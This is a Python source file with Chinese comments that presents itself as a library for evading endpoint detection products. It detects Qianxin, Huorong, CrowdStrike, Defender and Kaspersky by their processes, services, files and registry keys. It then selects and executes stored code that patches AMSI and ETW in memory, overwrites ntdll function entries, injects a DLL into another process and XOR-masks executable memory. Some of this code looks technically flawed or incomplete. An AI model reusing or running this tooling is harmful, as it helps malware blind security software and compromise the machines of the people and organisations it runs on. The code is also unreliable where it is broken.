#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
EDR规避策略库
支持按厂商分类的动态规避策略
"""

import os
import sys
import json
import time
import random
import psutil
import subprocess
from typing import Dict, List, Optional, Any
from dataclasses import dataclass
from enum import Enum

class EDRVendor(Enum):
    """EDR厂商枚举"""
    QIANXIN = "qianxin"          # 奇安信
    HUORONG = "huorong"          # 火绒
    CROWDSTRIKE = "crowdstrike"  # CrowdStrike
    DEFENDER = "defender"        # Windows Defender
    KASPERSKY = "kaspersky"      # 卡巴斯基
    SYMANTEC = "symantec"        # 赛门铁克
    MCAFEE = "mcafee"           # 迈克菲
    TRENDMICRO = "trendmicro"   # 趋势科技
    UNKNOWN = "unknown"          # 未知EDR

@dataclass
class EvasionTechnique:
    """规避技术数据结构"""
    name: str
    description: str
    platform: str  # windows, linux, macos
    method: str    # hook_bypass, process_injection, memory_evasion, etc.
    code: str      # 实际执行代码
    success_rate: float  # 成功率
    detection_risk: str  # low, medium, high
    requirements: List[str]  # 依赖条件

class EDRDetector:
    """EDR检测器"""
    
    def __init__(self):
        self.edr_signatures = {
            EDRVendor.QIANXIN: {
                'processes': ['QiAnXin', 'QAX', 'qax_service', 'qianxin'],
                'services': ['QAXSvc', 'QiAnXinSvc'],
                'files': ['C:\\Program Files\\QiAnXin', 'C:\\Program Files (x86)\\QiAnXin'],
                'registry': ['HKLM\\SOFTWARE\\QiAnXin', 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\QAXSvc']
            },
            EDRVendor.HUORONG: {
                'processes': ['HuoRong', 'HRSword', 'HipsDaemon'],
                'services': ['HRSword', 'HuoRongSvc'],
                'files': ['C:\\Program Files\\HuoRong', 'C:\\Program Files (x86)\\HuoRong'],
                'registry': ['HKLM\\SOFTWARE\\HuoRong', 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\HRSword']
            },
            EDRVendor.CROWDSTRIKE: {
                'processes': ['CrowdStrike', 'CSFalconService', 'CSFalconContainer'],
                'services': ['CSFalconService', 'CSAgent'],
                'files': ['C:\\Program Files\\CrowdStrike', 'C:\\Windows\\System32\\drivers\\CrowdStrike'],
                'registry': ['HKLM\\SOFTWARE\\CrowdStrike', 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\CSFalconService']
            },
            EDRVendor.DEFENDER: {
                'processes': ['MsMpEng', 'MpCmdRun', 'SecurityHealthService'],
                'services': ['WinDefend', 'SecurityHealthService', 'Sense'],
                'files': ['C:\\Program Files\\Windows Defender', 'C:\\ProgramData\\Microsoft\\Windows Defender'],
                'registry': ['HKLM\\SOFTWARE\\Microsoft\\Windows Defender', 'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender']
            },
            EDRVendor.KASPERSKY: {
                'processes': ['avp', 'kavfs', 'klnagent'],
                'services': ['AVP', 'KAVFS', 'klnagent'],
                'files': ['C:\\Program Files\\Kaspersky Lab', 'C:\\Program Files (x86)\\Kaspersky Lab'],
                'registry': ['HKLM\\SOFTWARE\\KasperskyLab', 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\AVP']
            }
        }
    
    def detect_edr(self) -> List[EDRVendor]:
        """检测当前系统中的EDR产品"""
        detected_edrs = []
        
        try:
            # 检测进程
            running_processes = [proc.name() for proc in psutil.process_iter(['name'])]
            
            # 检测服务
            if os.name == 'nt':  # Windows
                services = self._get_windows_services()
            else:
                services = self._get_linux_services()
            
            # 检测文件
            for vendor, signatures in self.edr_signatures.items():
                score = 0
                
                # 进程检测
                for process_sig in signatures.get('processes', []):
                    if any(process_sig.lower() in proc.lower() for proc in running_processes):
                        score += 3
                
                # 服务检测
                for service_sig in signatures.get('services', []):
                    if any(service_sig.lower() in svc.lower() for svc in services):
                        score += 2
                
                # 文件检测
                for file_path in signatures.get('files', []):
                    if os.path.exists(file_path):
                        score += 1
                
                # 注册表检测 (仅Windows)
                if os.name == 'nt':
                    for reg_path in signatures.get('registry', []):
                        if self._check_registry_key(reg_path):
                            score += 1
                
                # 如果得分超过阈值，认为检测到该EDR
                if score >= 2:
                    detected_edrs.append(vendor)
        
        except Exception as e:
            print(f"EDR检测过程中出现错误: {e}")
        
        return detected_edrs if detected_edrs else [EDRVendor.UNKNOWN]
    
    def _get_windows_services(self) -> List[str]:
        """获取Windows服务列表"""
        try:
            result = subprocess.run(['sc', 'query'], capture_output=True, text=True, shell=True)
            return result.stdout.split('\n') if result.returncode == 0 else []
        except:
            return []
    
    def _get_linux_services(self) -> List[str]:
        """获取Linux服务列表"""
        try:
            result = subprocess.run(['systemctl', 'list-units', '--type=service'], 
                                  capture_output=True, text=True)
            return result.stdout.split('\n') if result.returncode == 0 else []
        except:
            return []
    
    def _check_registry_key(self, reg_path: str) -> bool:
        """检查Windows注册表项是否存在"""
        try:
            import winreg
            parts = reg_path.split('\\')
            hive_name = parts[0]
            key_path = '\\'.join(parts[1:])
            
            hive_map = {
                'HKLM': winreg.HKEY_LOCAL_MACHINE,
                'HKCU': winreg.HKEY_CURRENT_USER,
                'HKCR': winreg.HKEY_CLASSES_ROOT,
                'HKU': winreg.HKEY_USERS,
                'HKCC': winreg.HKEY_CURRENT_CONFIG
            }
            
            hive = hive_map.get(hive_name)
            if hive:
                with winreg.OpenKey(hive, key_path):
                    return True
        except:
            pass
        return False

class EDRStrategyLibrary:
    """EDR规避策略库"""
    
    def __init__(self):
        self.strategies = self._load_strategies()
        self.detector = EDRDetector()
    
    def _load_strategies(self) -> Dict[EDRVendor, List[EvasionTechnique]]:
        """加载规避策略"""
        strategies = {
            EDRVendor.QIANXIN: [
                EvasionTechnique(
                    name="奇安信钩子绕过",
                    description="绕过奇安信API钩子监控",
                    platform="windows",
                    method="hook_bypass",
                    code="""
import ctypes
from ctypes import wintypes

def bypass_qianxin_hooks():
    # 直接调用系统调用绕过用户态钩子
    ntdll = ctypes.windll.ntdll
    kernel32 = ctypes.windll.kernel32
    
    # 获取原始系统调用号
    syscall_numbers = {
        'NtCreateFile': 0x55,
        'NtWriteFile': 0x8,
        'NtCreateProcess': 0x26
    }
    
    # 构造直接系统调用
    for func_name, syscall_num in syscall_numbers.items():
        # 恢复原始函数入口点
        original_bytes = b'\\x4c\\x8b\\xd1\\xb8' + syscall_num.to_bytes(4, 'little')
        func_addr = getattr(ntdll, func_name)
        ctypes.memmove(func_addr, original_bytes, len(original_bytes))
    
    return True
                    """,
                    success_rate=0.85,
                    detection_risk="medium",
                    requirements=["admin_privileges", "windows"]
                ),
                EvasionTechnique(
                    name="奇安信进程注入规避",
                    description="使用手动DLL映射绕过奇安信进程监控",
                    platform="windows",
                    method="process_injection",
                    code="""
import ctypes
import ctypes.wintypes as wintypes

def manual_dll_mapping(target_pid, dll_path):
    # 手动DLL映射，绕过LoadLibrary监控
    kernel32 = ctypes.windll.kernel32
    ntdll = ctypes.windll.ntdll
    
    # 打开目标进程
    process_handle = kernel32.OpenProcess(0x1F0FFF, False, target_pid)
    if not process_handle:
        return False
    
    # 读取DLL文件
    with open(dll_path, 'rb') as f:
        dll_data = f.read()
    
    # 在目标进程中分配内存
    dll_base = kernel32.VirtualAllocEx(
        process_handle, None, len(dll_data), 0x3000, 0x40
    )
    
    if dll_base:
        # 写入DLL数据
        kernel32.WriteProcessMemory(
            process_handle, dll_base, dll_data, len(dll_data), None
        )
        
        # 手动重定位和导入表处理
        # ... (省略详细实现)
        
        return True
    
    return False
                    """,
                    success_rate=0.78,
                    detection_risk="high",
                    requirements=["admin_privileges", "target_process"]
                )
            ],
            
            EDRVendor.HUORONG: [
                EvasionTechnique(
                    name="火绒内存扫描规避",
                    description="使用内存加密绕过火绒内存扫描",
                    platform="windows",
                    method="memory_evasion",
                    code="""
import ctypes
import os
from ctypes import wintypes

def encrypt_memory_regions():
    # 对敏感内存区域进行加密
    kernel32 = ctypes.windll.kernel32
    
    # 获取当前进程句柄
    current_process = kernel32.GetCurrentProcess()
    
    # 遍历内存区域
    address = 0
    while address < 0x7FFFFFFF:
        mbi = wintypes.MEMORY_BASIC_INFORMATION()
        size = kernel32.VirtualQueryEx(
            current_process, address, ctypes.byref(mbi), ctypes.sizeof(mbi)
        )
        
        if size == 0:
            break
            
        # 如果是可执行内存区域
        if mbi.Protect & 0x10:  # PAGE_EXECUTE
            # 临时修改保护属性
            old_protect = wintypes.DWORD()
            kernel32.VirtualProtectEx(
                current_process, mbi.BaseAddress, mbi.RegionSize,
                0x04, ctypes.byref(old_protect)  # PAGE_READWRITE
            )
            
            # 简单XOR加密
            for i in range(mbi.RegionSize):
                try:
                    byte_addr = mbi.BaseAddress + i
                    original_byte = ctypes.c_ubyte.from_address(byte_addr)
                    original_byte.value ^= 0xAA
                except:
                    pass
            
            # 恢复保护属性
            kernel32.VirtualProtectEx(
                current_process, mbi.BaseAddress, mbi.RegionSize,
                old_protect.value, ctypes.byref(old_protect)
            )
        
        address = mbi.BaseAddress + mbi.RegionSize
    
    return True
                    """,
                    success_rate=0.72,
                    detection_risk="medium",
                    requirements=["memory_access"]
                )
            ],
            
            EDRVendor.CROWDSTRIKE: [
                EvasionTechnique(
                    name="CrowdStrike ETW规避",
                    description="禁用ETW事件跟踪绕过CrowdStrike监控",
                    platform="windows",
                    method="etw_evasion",
                    code="""
import ctypes
from ctypes import wintypes

def disable_etw_logging():
    # 禁用ETW事件跟踪
    ntdll = ctypes.windll.ntdll
    kernel32 = ctypes.windll.kernel32
    
    # 获取EtwEventWrite函数地址
    etw_event_write = kernel32.GetProcAddress(
        kernel32.GetModuleHandleW("ntdll.dll"), 
        b"EtwEventWrite"
    )
    
    if etw_event_write:
        # 修改函数入口点，直接返回成功
        patch_bytes = b'\\x48\\x33\\xc0\\xc3'  # xor rax, rax; ret
        old_protect = wintypes.DWORD()
        
        # 修改内存保护
        kernel32.VirtualProtect(
            etw_event_write, len(patch_bytes), 0x40, ctypes.byref(old_protect)
        )
        
        # 写入补丁
        ctypes.memmove(etw_event_write, patch_bytes, len(patch_bytes))
        
        # 恢复保护
        kernel32.VirtualProtect(
            etw_event_write, len(patch_bytes), old_protect.value, ctypes.byref(old_protect)
        )
        
        return True
    
    return False
                    """,
                    success_rate=0.88,
                    detection_risk="low",
                    requirements=["admin_privileges"]
                )
            ],
            
            EDRVendor.DEFENDER: [
                EvasionTechnique(
                    name="Defender AMSI绕过",
                    description="绕过Windows Defender AMSI扫描",
                    platform="windows",
                    method="amsi_bypass",
                    code="""
import ctypes
from ctypes import wintypes

def bypass_amsi():
    # AMSI绕过技术
    kernel32 = ctypes.windll.kernel32
    
    # 获取amsi.dll模块句柄
    amsi_dll = kernel32.GetModuleHandleW("amsi.dll")
    if not amsi_dll:
        return False
    
    # 获取AmsiScanBuffer函数地址
    amsi_scan_buffer = kernel32.GetProcAddress(amsi_dll, b"AmsiScanBuffer")
    if not amsi_scan_buffer:
        return False
    
    # 修改函数返回值为AMSI_RESULT_CLEAN
    patch_bytes = b'\\xB8\\x57\\x00\\x07\\x80\\xC3'  # mov eax, 0x80070057; ret
    old_protect = wintypes.DWORD()
    
    # 修改内存保护
    if kernel32.VirtualProtect(amsi_scan_buffer, len(patch_bytes), 0x40, ctypes.byref(old_protect)):
        # 写入补丁
        ctypes.memmove(amsi_scan_buffer, patch_bytes, len(patch_bytes))
        
        # 恢复保护
        kernel32.VirtualProtect(amsi_scan_buffer, len(patch_bytes), old_protect.value, ctypes.byref(old_protect))
        return True
    
    return False
                    """,
                    success_rate=0.92,
                    detection_risk="low",
                    requirements=["powershell_context"]
                )
            ]
        }
        
        return strategies
    
    def get_strategies_for_edr(self, edr_vendor: EDRVendor) -> List[EvasionTechnique]:
        """获取特定EDR的规避策略"""
        return self.strategies.get(edr_vendor, [])
    
    def get_best_strategy(self, edr_vendor: EDRVendor, method_preference: str = None) -> Optional[EvasionTechnique]:
        """获取最佳规避策略"""
        strategies = self.get_strategies_for_edr(edr_vendor)
        
        if not strategies:
            return None
        
        # 如果指定了方法偏好
        if method_preference:
            filtered_strategies = [s for s in strategies if s.method == method_preference]
            if filtered_strategies:
                strategies = filtered_strategies
        
        # 按成功率排序，返回最佳策略
        return max(strategies, key=lambda x: x.success_rate)
    
    def auto_select_strategy(self) -> Optional[EvasionTechnique]:
        """自动选择最适合的规避策略"""
        detected_edrs = self.detector.detect_edr()
        
        if not detected_edrs or detected_edrs == [EDRVendor.UNKNOWN]:
            return None
        
        # 选择检测到的第一个EDR的最佳策略
        primary_edr = detected_edrs[0]
        return self.get_best_strategy(primary_edr)
    
    def execute_strategy(self, technique: EvasionTechnique) -> bool:
        """执行规避策略"""
        try:
            # 检查依赖条件
            if not self._check_requirements(technique.requirements):
                print(f"策略 {technique.name} 的依赖条件不满足")
                return False
            
            # 执行策略代码
            exec(technique.code)
            print(f"成功执行规避策略: {technique.name}")
            return True
            
        except Exception as e:
            print(f"执行策略 {technique.name} 时出错: {e}")
            return False
    
    def _check_requirements(self, requirements: List[str]) -> bool:
        """检查策略依赖条件"""
        for req in requirements:
            if req == "admin_privileges":
                if os.name == 'nt':
                    import ctypes
                    if not ctypes.windll.shell32.IsUserAnAdmin():
                        return False
                else:
                    if os.geteuid() != 0:
                        return False
            elif req == "windows":
                if os.name != 'nt':
                    return False
            elif req == "linux":
                if os.name == 'nt':
                    return False
            # 可以添加更多依赖条件检查
        
        return True

# 使用示例
if __name__ == "__main__":
    # 创建策略库实例
    strategy_lib = EDRStrategyLibrary()
    
    # 检测EDR
    detected_edrs = strategy_lib.detector.detect_edr()
    print(f"检测到的EDR: {[edr.value for edr in detected_edrs]}")
    
    # 自动选择策略
    best_strategy = strategy_lib.auto_select_strategy()
    if best_strategy:
        print(f"推荐策略: {best_strategy.name}")
        print(f"成功率: {best_strategy.success_rate}")
        print(f"风险等级: {best_strategy.detection_risk}")
        
        # 执行策略
        # strategy_lib.execute_strategy(best_strategy)
    else:
        print("未找到合适的规避策略")